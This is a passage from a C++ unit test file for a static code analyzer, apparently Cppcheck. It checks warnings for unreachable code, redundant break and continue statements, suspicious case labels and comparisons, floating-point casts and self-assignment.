errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() 